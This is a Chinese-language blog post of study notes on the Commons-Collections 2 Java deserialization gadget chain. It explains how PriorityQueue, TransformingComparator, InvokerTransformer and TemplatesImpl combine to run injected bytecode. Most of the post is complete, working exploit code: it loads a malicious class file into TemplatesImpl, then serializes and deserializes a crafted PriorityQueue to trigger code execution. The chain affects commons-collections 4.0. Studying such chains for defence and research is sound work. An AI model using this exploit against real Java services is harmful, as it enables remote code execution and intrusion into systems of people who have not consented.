Java_Commons-Collections 2 学习过程

环境配置

CC2链子分析

CC2可以说就是CC4的精简版,不用Transformer 数组了,在 CC4 链的基础上,抛弃了用 InstantiateTransformer 类将 TrAXFilter 初始化,以及 TemplatesImpl.newTransformer() 这个步骤

而是从compare通过InvokerTransformer来连接到TemplatesImpl

  • 难点在于用 InvokerTransformer 的连接。

借图

image-20240424193633435

第一部分

还是按照从后往前的思路先把后面的动态加载字节码部分写了

image-20240424194809211

package CC2;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
​
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
​
public class CC2Exp{
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();
    }
}
​

看到最后的newTransformer()就可以想到了在CC3的时候只要能碰到newTransformer() 方法,便可以进行命令执行

开头也说了在CC2中是通过InvokerTransformer来连接的而不是原本CC4通过InstantiateTransformer走过来

image-20240424200011491

再回过头看看InvokeTransformer

image-20240424200201933

是的这是一个反射调用

然后我们就可以通过这个来调用到newTransformer()方法

这样写

InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

第二部分

再往后我们先按照CC4那套写到cpmpare()

image-20240424194544208

 TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add("nbc");
        Class c = transformingComparator.getClass();
        Field transformingField = c.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, invokerTransformer);

创建 TransformingComparator 类对象,传⼊一个临时的Transformer 类对象,这是为了让代码能够不本地执行,在反序列化的时候执行。

这里为什么第一个add的是templates

  • 这就是将CC4的前半段连接到InvokerTransformer之处了,这里transformer是可控的只需要将他赋值为invokerTransformer就连接上了,这里为了不在本地运行而反序列化的时候执行传⼊一个临时的Transformer 类对象然后通过反射修改值

  • 因为在TransformingComparator.compare()已经写了obj1是第一个要转换然后比较的对象,也就是队列中的第一个元素,而这个队列就是PriorityQueue()中的,add两个的原因也是跟CC4相同

image-20240424204317172

一点疑惑

为什么把templates放在第二个传进去就不行了obj2不行么

打个断点看这是因为在反序列化执行第一个this.transformer.transform(obj1)执行完命令后会抛异常就断掉了

image-20240424205056585

也是很奇怪

最终Exp

package CC2;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
​
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
​
public class CC2Exp{
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
​
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add("nbc");
        Class c = transformingComparator.getClass();
        Field transformingField = c.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, invokerTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
​

多说一点

CC2 CC4链只能在commons-collections 4.0中,原因在于commons-collections 3中的TransformingComparator未实现Serializable接口不能序列化与反序列化

CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组。不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现

参考文章

drun1baby